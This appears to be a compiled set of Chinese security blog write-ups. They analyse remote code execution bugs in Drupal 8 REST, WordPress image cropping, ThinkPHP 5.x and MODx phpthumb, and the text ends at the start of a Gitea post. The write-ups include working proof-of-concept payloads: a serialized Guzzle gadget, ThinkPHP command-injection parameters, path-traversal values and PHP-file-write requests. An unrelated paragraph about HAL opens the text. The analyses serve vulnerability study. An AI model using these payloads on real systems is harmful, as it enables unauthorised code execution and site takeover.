HAL(Hypertext Application Language)是一个简单的API数据格式.它以xml和json为基础，让API变的可读性更高，并且具有discoverable的特性.当我们拿到HAL API返回的数据时，我们将会很容易根据当前数据查找与其相关的数据。在Micro Service API设计中，倾向于采用HAL这种类型的数据交换格式.

HAL的出现，主要弥补plain json在API交互中的不足.让plain json更具有描述性，更具有导航性.

开启权限。在admin-config-services-rest开启匿名用户注册权限

0x04 漏洞分析

根据补丁位置判断漏洞点在unserialize部分，因此这是一个反序列化漏洞。补丁主要修复了core/modules/link/src/Plugin/Field/FieldType/LinkItem.php和core/lib/Drupal/Core/Field/Plugin/Field/FieldType/MapItem.php两个文件，这两处应该都是能触发的，这里选择LinkItem进行分析

看一下setValue()方法

可以看到简单判断了$values['options']后直接进行了反序列化，没有进行数据合法性校验，如果能够控制$values['options']就能直接触发漏洞

接下来梳理一下数据传递过程，以及如何进入到setValue()方法

通过rest接口注册用户时，发送的数据包类似这个样子

(图片来源：https://areatype.com/blog/register-user-drupal-8-rest-api)

在进入drupal后，由RequestHandler->handle()方法处理请求，进入deserialize()方法，然后调用$this->serializer->denormalize()反序列化出相应的类，此时的$unserialized为Serializer类

随后调用Serializer->denormalize()方法，在该方法中首先通过getDenormalizer()获得一个匹配的denormalizer，才能进行后续的denormalize()操作，匹配的过程则是和当前类的supportedInterfaceOrClass变量比较，返回最终可以进行denormalize()操作的类

if ($normalizer = $this->getDenormalizer($data, $type, $format, $context)) {
    return $normalizer->denormalize($data, $type, $format, $context);
}

此处跟入比较深，可以略过，总之返回匹配的类是ContentEntityNormalizer，跟进它的denormalize()方法

$typed_data_ids = $this->getTypedDataIds($data['_links']['type'], $context);
$entity_type = $this->getEntityTypeDefinition($typed_data_ids['entity_type']);

这个方法中根据 _links.type 的值取出typed data IDs，_links.type 值即是post json部分的 "type": { "href": "http://127.0.0.1/drupal-8.6.5/rest/type/user/user" } 值，这个值决定了后面获取到的Entity实体，通过getTypeInternalIds()方法取出所有预定义的类型并返回相应的URI，然后才获取对应的实体类型定义

接着会调用这个实体的denormalizeFieldData()方法，在denormalizeFieldData()中调用相应的denormalize()方法，最终调用到这个field_item的setValue()。因此为了触发到存在漏洞的setValue()，我们需要让field_item为LinkItem类或者MapItem类，这个赋值过程在获取到相应实体后的getStorage()->create()过程：

$entity = $this->entityManager->getStorage($typed_data_ids['entity_type'])->create($values);

调用流程create()->doCreate()->initFieldValues()，此时的调用栈是这样的：

现在的问题就是找到相应的Entity，在其中实体化了LinkItem类或MapItem类，通过查找，在core/modules中这样的类有两个，Shortcut和MenuLinkContent，这里选择MenuLinkContent来触发，此时的_links.type为http://127.0.0.1/drupal-8.6.5/rest/type/menu_link_content/menu_link_conten

因此最后的数据包类似这个样子，注意link必须为数组

{
  "link": [
    {
      "options": payload
    }
  ],
  "_links": {
    "type": {
      "href": "http://127.0.0.1/drupal-8.6.5/rest/type/menu_link_content/menu_link_content"
    }
  }
}

发送数据包成功触发到setValue()

接下来就是寻找内置的风险类了，进入setValue()后通过unserialize()执行代码。

0x05 PoC

在之前介绍phpggc工具的时候总结了Drupal中存在风险的三个类，分别可以导致远程代码执行、任意文件写入和任意文件删除，这三个类分别是

FnStream
FileCookieJar
WindowsPipes

具体参考：由phpggc理解php反序列化漏洞

同样地，借助phpggc直接生成序列化数据：

root@localhost:/opt/phpggc# ./phpggc guzzle/rce1 assert 'phpinfo()' -j
"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:9:\"phpinfo()\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"assert\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"

发送payload

注意：如果返回码为422且报下面这个错误，尝试在/admin/config/development/performance点击清除缓存

{"message":"Type http:\/\/127.0.0.1\/drupal-8.6.5-1\/rest\/type\/shortcut\/default does not correspond to an entity on this site."}

另外尝试用PoC脚本利用，每篇文章对应的node id利用一次就失效了，再次利用需要换一个node id，暂时没有研究为什么。

0x06 总结

这个漏洞触发点并不复杂，但是调用链相当深，利用条件则是开启了REST Web services，并且允许用户通过rest api注册，在一些功能比较齐全的站点或者方便插件调用时可能会开启，影响面减小了不少，但并不影响这依然是个非常巧妙的漏洞，也进一步说明了开发时考虑不周全的话，风险点就在那里，被利用只是时间问题。

Wordpress Image 远程代码执行漏洞分析

Thu, 21 Feb 2019 14:45:49 +0000

0x01 概述

2月20日，RIPS披露了Wordpress内核Image模块相关的一个高危漏洞，该漏洞由目录穿越和文件包含组成，最终可导致远程代码执行，目前还没有PoC披露。

从RIPS描述的细节来看，漏洞出现在wordpress编辑图片时，由于没有过滤Post Meta 值导致可以修改数据库中wp_postmeta表的任意字段，而在加载本地服务器上的文件时没有对路径进行过滤，导致可以传递目录穿越参数，最终保存图片时可以保存至任意目录。当某个主题include了某目录下的文件时，便可以造成代码执行。

0x02 环境搭建

该漏洞影响4.9.9版本以下的wordpress程序，4.9.9引入了过滤函数，对用户输入的post data进行了检查，不合法的参数被过滤，主要修改如下图：

值得注意的是，在安装低版本时，安装过程中会自动更新核心文件，因此旧版本的wp-admin/includes/post.php会更新至最新版本，所以安装过程中可以删除自动更新相关模块，或者离线安装。

0x03 漏洞分析

漏洞一：数据覆盖

漏洞出现在wordpress媒体库裁剪图片的过程，当我们上传图片到媒体库时，图片会被保存至wp-content/uploads/yyyy/mm目录，同时会在数据库中wp_postmeta表插入两个值，分别是_wp_attached_file和_wp_attachment_metadata，保存了图片位置和属性相关的序列化信息。

当我们修改图片属性（例如修改标题或者说明）的时候，admin-media-Edit more details 会调用wp-admin/includes/post.php的edit_post()方法，该方法的参数全部来自于$_POST，没有进行过滤

然后会调用到update_post_meta()方法，该方法根据$post_ID修改post meta field，接着调用update_metadata()更新meta数据，完成之后更新post数据，调用wp_update_post()方法

在wp_update_post()方法中，如果post_type=attachment，则进入wp_insert_attachment()，接着调用wp_insert_post()，在wp_insert_post()方法中判断了meta_input参数，如果传入了该参数，就遍历数组用来更新post_meta

进入update_post_meta()，调用update_metadata()，在update_metadata()方法中对数据库进行更新操作，而在整个过程中对键值没有任何过滤，意味着我们可以传入指定的key来设置它的值，调用栈如下图所示

于是构造数据包更新数据库中_wp_attached_file的值，插入一个包含../的值，以便在下面触发目录遍历。

这是第一个漏洞——通过参数覆盖了数据库数据，在补丁处正是对meta_input这个参数做了过滤，如果包含则通过对比array舍弃该参数。

漏洞二：目录遍历

接着寻找一个获取_wp_attached_file的值并进行了文件操作相关的方法。

在wordpress的图片裁剪功能中，有这样的功能：

图片存在于wp-content\uploads\yyyy\mm目录，则从该目录读取图片，修改尺寸后另存为一张图片；
如果图片在该目录不存在，则通过本地服务器下载该图片，如从http://127.0.0.1/wordpress/wp-content/uploads/2019/02/admin.jpeg下载，裁剪后重新保存。

这个功能是为了方便一些插件动态加载图片时使用。

然而因为本地读取和通过url读取的差异性，导致可以构造一个带参数的url，如http://127.0.0.1/wordpress/wp-content/uploads/2019/02/admin.jpeg?1.png，在本地读取时会发现找不到admin.jpeg?1.png，而远程获取时会忽略?后面的参数部分，照样获取到admin.jpeg，裁剪后保存。如果构造的url包含路径穿越，例如http://127.0.0.1/wordpress/wp-content/uploads/2019/02/admin.jpeg?../../1/1.png，wordpress将裁减后的图片保存至指定的文件夹，当图片包含恶意代码被引用时，就可能造成代码执行。

图片裁剪功能在wp_crop_image()方法中，但是该方法不能在页面中触发，需要手动更改相应的action

首先在页面裁剪图片，并点击保存

抓取数据包：

action=image-editor&_ajax_nonce=4c354c778b&postid=5&history=%5B%7B%22c%22%3A%7B%22x%22%3A0%2C%22y%22%3A5%2C%22w%22%3A347%2C%22h%22%3A335%7D%7D%5D&target=all&context=edit-attachment&do=save

post body包含了相应的action和context，以及供还原文件的历史文件大小，此处需要修改action为crop-image以便触发wp_crop_image()方法，相关调用如下

在wp-admin/admin-ajax.php定义了裁剪图片的操作

判断了用户权限和action名称后调用do_action，最终在apply_filters()中进入wp_crop_image():

进入wp_ajax_crop_image()方法，在这个方法中进行了多项判断，全部符合才能进入裁剪图片方法，如下图注释所示

首先计算nonce和expected值并对比，如果不一致就验证不通过，相关方法是check_ajax_referer()–>wp_verify_nonce()。注意到传入check_ajax_referer()的$attachment_id参数，该参数取自$_POST['id']，并参与后面的expected计算，因此当我们直接更改action=crop-image是无法通过校验的，需要传入id的，即为postid的值。

在进入wp_crop_image()时还需要传递裁剪后的图片宽度和高度信息，所以还需要增加cropDetails[dst_width]和cropDetails[dst_height]两个参数。

wp_crop_image()方法如下

从数据库取出_wp_attached_file后并没有做检查，形如2019/02/admin.jpeg?../../1.png的文件无法被找到，于是进入_load_image_to_edit_path()通过wp_get_attachment_url()方法生成本地url

随后实例化一个WP_Image_Editor用来裁剪并生成裁剪后的图片，之后调用wp_mkdir_p()方法创建文件夹，含有../的参数进入该方法后同样没有经过过滤，最终执行到mkdir创建文件夹

mkdir( $target, $dir_perms, true)

此时的target值是这个样子，穿越目录后在2019目录下创建1文件夹，并生成cropped-1.png文件

D:\phpStudy\PHPTutorial\WWW\wordpress-4.9.8/wp-content/uploads/2019/02/admin.jpeg?../../../1

注意：此处有一个坑，我们观察上面的url，在mkdir的时候会把admin.jpeg?../作为一个目录，而在Windows下的目录不能出现?，所以上面的payload在Windows下无法成功，经过测试，#可以存在于Windows目录，因此在Windows下的payload如下所示：

meta_input[_wp_attached_file]=2019/02/admin.jpeg#../../../1/1.png

写入数据库中即为2019/02/admin.jpeg#../../../1/1.png

最终构造第二个数据包触发裁剪图片并保存：

最终在指定目录下生成裁剪后的图片文件，以cropped-作为前缀

这样子我们可以制作一张图片马，在主题文件夹下生成，或者指定任意目录，被include后即可造成代码执行。

0x04 LFI to RCE

到目前为止我们可以把含有恶意代码的图片写入任意目录，下一步就是想办法包含这个文件。

在Wordpress中，访问一篇文章或者任意页面，都需要从数据库取出相应的模板文件位置并由浏览器渲染出来。注意到上面截图，wp_postmeta数据库中有个字段名称为_wp_page_template，这个字段用来保存加载页面所需要的模板文件，默认为default，wordpress程序根据需要加载的页面类型从当前主题下选择需要的模板，例如访问一篇单独的文章，这个过程会拼凑出文件名并检查主题下的这些文件是否存在，如果存在则包含进来，相关方法是locate_template()和load_template()

搜索发现实现从数据库取出_wp_page_template变量的方法是get_page_template_slug()

接着发现调用get_page_template_slug()方法的get_single_template()方法，其最后返回的是查找模板函数，即get_query_template()

而正是在get_query_template()中，执行了定位模板文件的操作

至此一条利用链就串起来了，利用第一个漏洞覆盖数据库中的_wp_page_template值，修改为包含恶意代码的图片所在路径，在页面加载的过程中wordpress查询并定位该文件，包含后造成代码执行。

Wordpress中处理图片相关的库有两个，分别是Imagick和GD，优先选择使用Imagick，而Imagick处理图片时不处理EXIF信息，因此可以把恶意代码设置在EXIF部分，经过裁剪后会保留EXIF信息，此时再进行包含就能造成代码执行。

在选择相应图片库处理图片时，如果此时加载的是Imagick，在$editor->load()时会创建Imagick()对象，然后尝试读取远程图片地址。此时需要注意的是，高版本的Imagick库不支持远程链接，测试Imagick-6.9.7版本正常创建并写入图片

$implementation = _wp_image_editor_choose( $args );

if ( $implementation ) {
    $editor = new $implementation( $path );
    $loaded = $editor->load();

    if ( is_wp_error( $loaded ) )
        return $loaded;

    return $editor;
}

$this->image = new Imagick();
//...
$this->image->readImage( $filename );

复现：

1.上传图片，更新描述信息并保存，抓包修改meta_input[_wp_attached_file]，目录穿越至当前主题文件夹

2.裁剪图片并在主题文件夹下生成裁剪后图片

3.上传一个附件，更新描述信息并抓包，修改meta_input[_wp_page_template]，加载模板的时候自动包含该图片，代码执行成功

0x05 关于mkdir

在漏洞调试过程中最后一步$editor->save( $dst_file )过程，最终执行到的是wp_mkdir_p()方法中的mkdir函数

mkdir( $target, $dir_perms, true)

关于mkdir()函数，需要注意的是mode参数和recursive参数，分别代表了创建的文件夹权限和是否递归创建，这两个参数的不同导致在Linux平台和Windows平台的结果不一致

在上面漏洞链中，进入最终mkdir()的参数是这样的

mkdir( 'D:\phpStudy\PHPTutorial\WWW\wordpress-4.9.8/wp-content/uploads/2019/02/admin.jpeg?../../../1', 511, true)

单独把path拿出来测试，在第三个参数recursive分别为true和false时，测试结果如下

这里导致结果不一致是因为Windows下文件夹对?的处理，当指定递归创建模式时，系统会尝试创建名为admin.jpeg?..的目录，又因为Windows下的目录不能含有?，因此recursive=true时是创建失败的，导致wordpress最终生成图片也无法成功。而在Linux下可以没有?的限制，payload可以成功触发。

要想在Windows下利用漏洞，一个技巧是利用#字符，#在url中表示为网页位置指定标识符，只在浏览器中起作用，对解析资源时是忽略后面的字符的，因此在wordpress中两个方式尝试获取图片资源时同样会出现不一致，导致漏洞产生。

更新：此处是否检查?等不合法字符与php的线程安全模式相关，具体如下。

Windows	thread-safe	non-thread safe
recursive=false	fail (No error)	success
recursive=true	fail (Invalid path)	fail (Invalid path)

关于这块的详细分析可以参考对PHP中的mkdir()函数的研究

0x06 PoC

见上面分析

0x07 总结

在分析过程中踩了不少坑，每一个都浪费了不少时间，简单记录避免再次踩中。主要的有这么几个：

Wordpress自动更新；
需要手动修改触发裁剪函数的action；
mkdir创建文件夹时特殊字符的问题；
Imagick读取远程文件的问题；

这个漏洞主要成因在于我们可以通过参数传递任意值覆盖数据库中的字段，从而引入../构成目录穿越，在裁剪图片后保存文件时并没有对文件目录做检查，造成目录穿越漏洞，最终可以写入恶意图片被包含或者通过Imagick漏洞触发远程代码执行，利用链挺巧妙，值得学习。

参考：

ThinkPHP 5.0.x-5.0.23、5.1.x、5.2.x 全版本远程代码执行漏洞分析

Sat, 12 Jan 2019 14:18:20 +0000

0x01 概述

1月11日，ThinkPHP官方发布新版本5.0.24，在1月14日和15日又接连发布两个更新，这三次更新都修复了一个安全问题，该问题可能导致远程代码执行，这是ThinkPHP近期的第二个高危漏洞，两个漏洞均是无需登录即可远程触发，危害极大。

公告

https://blog.thinkphp.cn/910675

http://blog.nsfocus.net/thinkphp-5-0-5-0-23-rce/

0x02 影响版本

ThinkPHP 5.0.x ~ 5.0.23

ThinkPHP 5.1.x ~ 5.1.31

ThinkPHP 5.2.0beta1

0x03 环境搭建

选择5.0.22完整版和5.1.31版本进行复现分析

0x04 漏洞分析

一、`5.0.x`版本

我们知道可以通过http://127.0.0.1/public/index.php?s=index的方式通过s参数传递具体的路由，具体调用如下

index.php

require __DIR__ . '/../thinkphp/start.php';

start.php

App::run()->send();

跟进run()方法

可以看到在进入self::exec($dispatch, $config)前，$dispatch的值是通过

$dispatch = self::routeCheck($request, $config)

设置的，这时候如果debug模式开启，就会调用$request->param()，也就是下面exec()中会调用到的函数，经过下面分析就能发现，在debug模式开启时就能直接触发漏洞，原理是一样的。

进入exec()方法看一下：

exec()方法根据$dispatch的值选择进入不同的分支，当进入method分支时，调用Request::instance()->param()方法，跟进param()，看到调用了Request类的method()方法：

其中method()方法就是补丁修改的位置，在这个方法中，如果method等于true，则调用$this->server()方法：

在server()方法中调用$this->input方法：

接着调用了filterValue()方法：

而filterValue()则调用了call_user_func()函数，如果两个参数均可控，则会造成命令执行：

此时的调用栈如下：

回头看一下$filter和$value参数从哪里来：

$filter：

$filter = $this->getFilter($filter, $default);

在getFilter()中设置了$filter值：

$filter = $filter ?: $this->filter;

也即由$this->filter决定

$value

$value为第一个参数$data，即为传入数组的值，由$this->server决定

所以最终的问题就是如何从请求中传入$this->filter和$this->server这两个值，构造call_user_func()的参数触发漏洞。

回到最开始的run()方法，其中：

$dispatch = self::routeCheck($request, $config);

$dispatch 的值通过routeCheck()方法设置，跟进routeCheck()方法：

调用了check()方法：

check()方法中根据不同的$rules值返回不同的结果，而$rules的值由$method决定，$method则由$request->method()返回值取小写获得，所以再次回到$request->method()方法，这次没有参数

如果$method不等于true，则会取配置选项var_method，该值为_method

然后调用$this->{$this->method}($_POST);语句，此时假设我们控制了$method的值，也就意味着可以调用Request类的任意方法，而当调用构造方法__construct()时，就可以覆盖Request类的任意成员变量，也就是上面分析的$this->filter和$this->server两个值，同时也可以覆盖$this->method，直接指定了check()方法中的$method值。

1. 构造`PoC`

首先要主动触发Request类的构造函数，通过参数_method=__construct传入，进入到__construct方法，该方法把参数遍历并设置值：

所以我们可以传入filter=system来设置$this->filter的值

此处filter不是数组也可以，因为在getFilter()中虽然对filter是字符串的情况进行了按,分割，但是传入一个值的情况下不影响最终的返回值

再看$this->server，在调用$this->server('REQUEST_METHOD')时指定了键值，所以通过传入server数组即可

server[REQUEST_METHOD]=id

然后我们注意到上面check()方法，

$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];

它的返回值由$rules决定，而$rules的值取决于键值$method，当我们指定$method为get时，可以正确获取到路由信息，从而通过checkRoute()检查，此时我们通过指定method=get覆盖$this->method的值即可

最终的PoC：

_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=id

调用栈如下图所示

2. 流程图

整个漏洞的调用流程图如下所示：

二、`5.1.x`/`5.2.x`版本

在5.1和5.2版本上，这个变量覆盖依然存在，我们同样可以通过_method参数覆盖var_method，并最终执行到Request::input()方法，通过array_walk_recursive把传入的数组传给回调函数filterValue，最终也是在filterValue中完成命令执行，具体调用如下

当传入_method参数为filter时，覆盖了Request原始的filter成员，在经过路由检查进入Request::instance()->param()方法时，经过$this->method(true)调用，返回的$method值为POST，于是进入post分支，调用input()方法，由于第一个参数为空，返回我们传入的post值

然后把数组合并到$this->param，接着再次调用input()方法，经过$this->getFilter返回filter值，由于此时$data是一个数组(即$this->param)，于是进入if分支，经过array_walk_recursive()函数把数组传给回调函数filterValue，遍历键值后同样由call_user_func完成命令执行

if (is_array($data)) {
    array_walk_recursive($data, [$this, 'filterValue'], $filter);
    if (version_compare(PHP_VERSION, '7.1.0', '<')) {
        // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
        $this->arrayReset($data);
    }
} else {
    $this->filterValue($data, $name, $filter);
}

1. 构造`PoC`

a=system&b=id&_method=filter

需要在程序加入忽略异常提示：

error_reporting(0);

调用栈如图

2. 流程图

5.1.x版本的漏洞调用流程图如下所示：

0x05 补丁分析

在三个版本的更新补丁中，限制了$this->method为GET，POST，DELETE，PUT，PATCH这几个方法，因此不能从外部传入方法名再调用Request类的任意方法或是覆盖原有变量。

补丁链接：

5.0.24：

https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003

5.1.31：

https://github.com/top-think/framework/commit/2454cebcdb6c12b352ac0acd4a4e6b25b31982e6

5.2-beta.2：

https://github.com/top-think/framework/commit/7c24500e463704583e0778b7ec6efce607ddef5f

0x06 总结

这三漏洞本质上都是变量覆盖漏洞，在一处存在缺陷的方法中没有对用户输入做严格判断，通过传递_method参数覆盖了配置文件的_method，导致可以访问Request类的任意函数，而在Request的构造函数中又创建了恶意的成员变量，导致后面的命令执行；而在5.1和5.2版本中则是直接覆盖了过滤器，在忽略运行异常的情况下会触发漏洞，整个利用链可以说是非常巧妙了。

MODx Revolution 远程代码执行漏洞分析

Fri, 20 Jul 2018 17:44:56 +0000

0x01 概述

近日，MODx官方发布通告称其MODx Revolution 2.6.4及之前的版本存在2个高危漏洞，攻击者可以通过该漏洞远程执行任意代码，从而获取网站的控制权或者删除任意文件。本文分析其中的CVE-2018-1000207漏洞，并分别分析MODx 2.5.1和2.6.4版本漏洞形成原因和PoC构造。

0x02 环境搭建

分别安装MODx 2.5.1和2.6.4版本

0x03 漏洞分析

2.5.1版本

漏洞发生在phpthumb模块，该模块的作用是提供缩略图对象

当我们把光标放到文件系统中的图片上的时候，可以看到弹出了图片的缩略图，此时就调用了phpthumb接口

请求接口类似这样

http://127.0.0.1/connectors/system/phpthumb.php?src=1.png&w=116&h=0&HTTP_MODAUTH=modx5b5067d920ba81.94108199_15b513c49743c49.16917110&f=png&q=90&wctx=mgr&source=1

可以看到几个参数描述了图片的一些基本属性，这些属性在core/model/phpthumb/phpthumb.class.php中定义

// public:
// START PARAMETERS (for object mode and phpThumb.php)
// See phpthumb.readme.txt for descriptions of what each of these values are
var $src  = null;     // SouRCe filename
var $new  = null;     // NEW image (phpThumb.php only)
var $w    = null;     // Width
var $h    = null;     // Height
var $wp   = null;     // Width  (Portrait Images Only)
var $hp   = null;     // Height (Portrait Images Only)
var $wl   = null;     // Width  (Landscape Images Only)
var $hl   = null;     // Height (Landscape Images Only)

// private: (should not be modified directly)
var $sourceFilename   = null;
var $rawImageData     = null;
var $IMresizedData    = null;
var $outputImageData  = null;
var $useRawIMoutput   = false;

从定义中也能看到，phpthumb提供了两种类型的参数：public和private

public就是普通属性，包括图片长宽高等，private则是一些私有属性，包括缓存目录，文件类型等，此次漏洞形成的关键就是程序并没有对两种类型的参数区分处理，以至于我们可以直接传入私有参数控制其中的变量值，从而改变程序执行逻辑。

当我们请求这个接口的时候，会访问modSystemPhpThumbProcessor()类，其中的process()方法：

public function process() {
    $src = $this->getProperty('src');
    if (empty($src)) return $this->failure();

    $this->unsetProperty('src');

    $this->getSource($this->getProperty('source'));
    if (empty($this->source)) $this->failure($this->modx->lexicon('source_err_nf'));

    $src = $this->source->prepareSrcForThumb($src);
    if (empty($src)) return '';

    $this->loadPhpThumb();
    /* set source and generate thumbnail */
    $this->phpThumb->set($src);

    /* check to see if there's a cached file of this already */
    if ($this->phpThumb->checkForCachedFile()) {
        $this->phpThumb->loadCache();
        return '';
    }

    /* generate thumbnail */
    $this->phpThumb->generate();

    /* cache the thumbnail and output */
    $this->phpThumb->cache();
    $this->phpThumb->output();
    return '';
}

可以看到里面的几个主要操作，包括检查文件是否被缓存，以及读取缓存，设置缓存等，我们利用的就是phpthumb设置缓存的方法phpThumb->cache()

public function cache() {
    phpthumb_functions::EnsureDirectoryExists(dirname($this->cache_filename));
    if ((file_exists($this->cache_filename) && is_writable($this->cache_filename)) || is_writable(dirname($this->cache_filename))) {
        $this->CleanUpCacheDirectory();
        if ($this->RenderToFile($this->cache_filename) && is_readable($this->cache_filename)) {
            chmod($this->cache_filename, 0644);
            $this->RedirectToCachedFile();
        }
    }
}

这里面关键的方法是RenderToFile()，可以看到它接收参数$this->cache_filename，那么我们可以直接传入cache_filename这个变量值。

function RenderToFile($filename) {
    $renderfilename = $filename;
    //一系列检查
    if ($this->RenderOutput()) {
        if (file_put_contents($renderfilename, $this->outputImageData)) {
            $this->DebugMessage('RenderToFile('.$renderfilename.') succeeded', __FILE__, __LINE__);
            return true;
        }
    //...
    return false;
}

RenderToFile()方法里有file_put_contents()函数，文件名是我们传入的cache_filename，文件内容是$this->outputImageData。如果对内容没有校验的话意味着我们可以写入任意内容，前提是满足$this->RenderOutput()为真，进去看一下RenderOutput()

function RenderOutput() {
    //...
    if ($this->useRawIMoutput) {
        $this->DebugMessage('RenderOutput copying $this->IMresizedData ('.strlen($this->IMresizedData).' bytes) to $this->outputImage', __FILE__, __LINE__);
        $this->outputImageData = $this->IMresizedData;
        return true;
    }
    //...
}

在这里我们需要满足$this->useRawIMoutput为真，而这个变量默认值为false。实际上useRawIMoutput即为我们提到的私有变量，程序虽然默认定义了私有变量的值，但我们还是可以通过post把值直接传进去，同时这里也没有检验文件的内容，直接把$this->IMresizedData赋值为$this->outputImageData，也就是file_put_contents()所需要的第二个参数，所以到这里就能构成一个任意文件写入的漏洞。

构造PoC：

cache_filename=../../../payload.php&src=.&ctx=web&useRawIMoutput=1&config_prefer_imagemagick=0&outputImageData=<?php phpinfo();?>

需要特别注意的是，此处的cache_filename与网站相对路径密切相关，往上目录穿越少了反而不能写入文件，而在Windows下测试可以写入Web根目录以外的目录，因为程序内部虽然检查了目录写权限，却并没有限制一个根目录，所以严格来说这里还存在一个目录穿越漏洞。

这个利用在MODX 2.5.1版本及之前可以无需登录直接利用，而在2.6.4版本进行了更严格的权限检查，在处理请求之前增加了这样一段判断代码：

core/model/modx/modconnectorresponse.class.php outputContent()方法

/* Block the user if there's no user token for the current context, and permissions are in fact required */
if (empty($siteId) && (!defined('MODX_REQP') || MODX_REQP === TRUE)) {
    $this->responseCode = 401;
    $this->body = $modx->error->failure($modx->lexicon('access_denied'),array('code' => 401));
}

所以在2.6.4版本利用需要登录权限。

2.6.4版本

那么有没有方法在2.6.4版本也能不需要权限直接写入任意文件呢？答案还是有的，只不过网站需要安装一个插件Gallery

Gallery is a dynamic Gallery Extra for MODx Revolution. It allows you to quickly and easily put up galleries of images, sort them, tag them, and display them in a myriad of ways in the front-end of your site.

简而言之Gallery 是一个图库，可以更方便地管理网站图片。

在这个库中也有phpThumb的相关方法，而且同样有缓存机制，不出意外同样存在任意文件写入漏洞，但是这个方法稍微复杂一些，它把文件写入cache目录，而文件名经过了一个array的反序列化再MD5，这样即使我们能写入文件，却猜不到文件名，因此a2u给出的PoC也没能直接写入文件，而是通过返回包来判断是否存在漏洞。但是经过分析，实际上我们是可以往缓存目录写入一个shell的，而且能够知道保存的文件名，下面来分析一下如何绕过这个看似复杂的流程。

当利用插件上传图片的时候，如果图库中已经有图片，我们就可以看到一张缩略图，请求类似这样

http://127.0.0.1/modx-2.6.4-pl/assets/components/gallery/connector.php?action=web/phpthumb&w=100&h=100&zc=1&src=/modx-2.6.4-pl/assets/gallery/1/cover.png&time=1532596253635

同样的，gallery的connector.php也接收图片属性等public参数，但是此处我们并不关心，直接定位到处理写入缓存的文件core/components/gallery/processors/web/phpthumb.php。漏洞形成点同样也是file_put_contents参数没有经过过滤。

请求在进入phpthumb.php之后，首先会把参数设置成一个array，放在$scriptProperties中，类似这样

array (
  'action' => 'web/phpthumb',
  'w' => '100',
  'h' => '100',
  'zc' => '1',
  'src' => '/modx-2.6.4-pl/assets/gallery/1/cover.png',
  'time' => '1532596253635',
)

在调用系统phpthumb.class.php模块的RenderToFile之前对文件进行了一系列处理，主要关注其中几个

首先对src文件后缀有一个判断

if (empty($ptOptions['f'])) {
    $ext = pathinfo($src, PATHINFO_EXTENSION);
    $ext = strtolower($ext);
    switch ($ext) {
        case 'jpg':
        case 'jpeg':
        case 'png':
        case 'gif':
        case 'bmp':
            $ptOptions['f'] = $ext;
            break;
        default:
            $ptOptions['f'] = 'jpeg';
            break;
    }
}

如果没有指定f参数的话，就根据文件后缀将f赋值。也就是说，如果我们传递了f参数，也就可以指定任意文件后缀，此处没有任何过滤。

然后判断src参数是否是以http开头，如果不是，则把src拼接成完整的物理路径：D:/phpStudy/PHPTutorial/WWW/modx-2.6.4-pl/assets/gallery/1/cover.png

/* auto-prepend base path if not a URL */
if (strpos($src, 'http') === false) {
    $basePath = $modx->getOption('base_path', null, MODX_BASE_PATH);
    if ($basePath != '/') {
        $src = str_replace(basename($basePath), '', $src);
        $src = ltrim($src, '/');
        $src = $basePath . $src;
    }
}

接着把src路径中的:和/替换成_，也就是D__phpStudy_PHPTutorial_WWW_modx-2.6.4-pl_assets_gallery_1_cover.png，这个字符串将成为最后缓存文件的文件名的前半部分。

$inputSanitized = str_replace(array(':', '/'), '_', $src);
$cacheFilename = $inputSanitized;
$cacheFilename .= '.' . md5(serialize($scriptProperties));
$cacheFilename .= '.' . (!empty($ptOptions['f']) ? $ptOptions['f'] : 'png');
$cacheKey = $assetsPath . 'cache/' . $cacheFilename;

而文件名后半部分则是md5(serialize($scriptProperties))的值，把上面的array进行反序列化再MD5，最后拼接上面设置的f后缀，所以最后的文件名类似D__phpStudy_PHPTutorial_WWW_modx-2.6.4-pl_assets_gallery_1_cover.png.0f0d6092657266f9718061fb8a20730d.png，由于在实际利用中我们不知道网站物理路径，因此几乎无法猜出这个文件名。

绕过方式就是利用src参数，上面代码对src进行了一个http判断，假如我们指定src以http开头，就不会拼接物理路径，而反序列化时的各个参数均是我们可以控制的，这样我们最终就能得到一个文件名类似http.md5_string.php的缓存文件。

构造PoC：

action=web/phpthumb&src=http&f=php&useRawIMoutput=1&config_prefer_imagemagick=0&IMresizedData=<?php phpinfo();?>

然后写一段代码来生成反序列化数据，此处要注意参数顺序，不同顺序生成的反序列化数据不一样，最终的MD5值也就会变

$target = array (
    "action"=> "web/phpthumb",
    "src"=> "http",
    "f"=> "php",
    "useRawIMoutput"=> "1",
    "config_prefer_imagemagick"=> "0",
    "IMresizedData"=> "<?php phpinfo();?>"
);
$seri = serialize($target);  
echo md5($seri);

最终会在缓存目录assets/components/gallery/cache写入文件http.f23566b3b11f5fd29a8189b74ef53daf.php

0x04 补丁分析

https://github.com/modxcms/revolution/pull/13979/

补丁主要是对可传入的参数进行了限制，只允许公共参数(public parameters)，这样就避免了直接传入私有参数改变程序逻辑。

0x05 总结

该漏洞的利用条件虽然有一定版本和插件限制，但是在互联网上Gallery插件的使用量并不小，相关站点需要多加防范。

此次漏洞应该归结于phpthumb模块，一是接口直接对外暴露，二是对文件操作缺少过滤。在MODx中的两个版本均受到影响，分别是 1.7.14-201604151303和1.7.14-201608101311 ，在Github上搜索了几个使用该库的CMS，发现代码结构几乎一致，不排除也能直接利用的情况，有兴趣的可以研究一下。

Gitea 1.4.0未授权远程代码执行漏洞分析

Tue, 17 Jul 2018 17:52:10 +0000

近日，Gitea 1.4.0版本的LFS模块出现了一个绕过登录验证未授权创建LFS对象的漏洞，由此漏洞引申出了一条非常漂亮的攻击链，值得好好学习。

0x00 基本介绍

官网地址 https://gitea.io/en-us/

Gitea is a community managed fork of Gogs, lightweight code hosting solution written in Go and published under the MIT license.

Git LFS 介绍

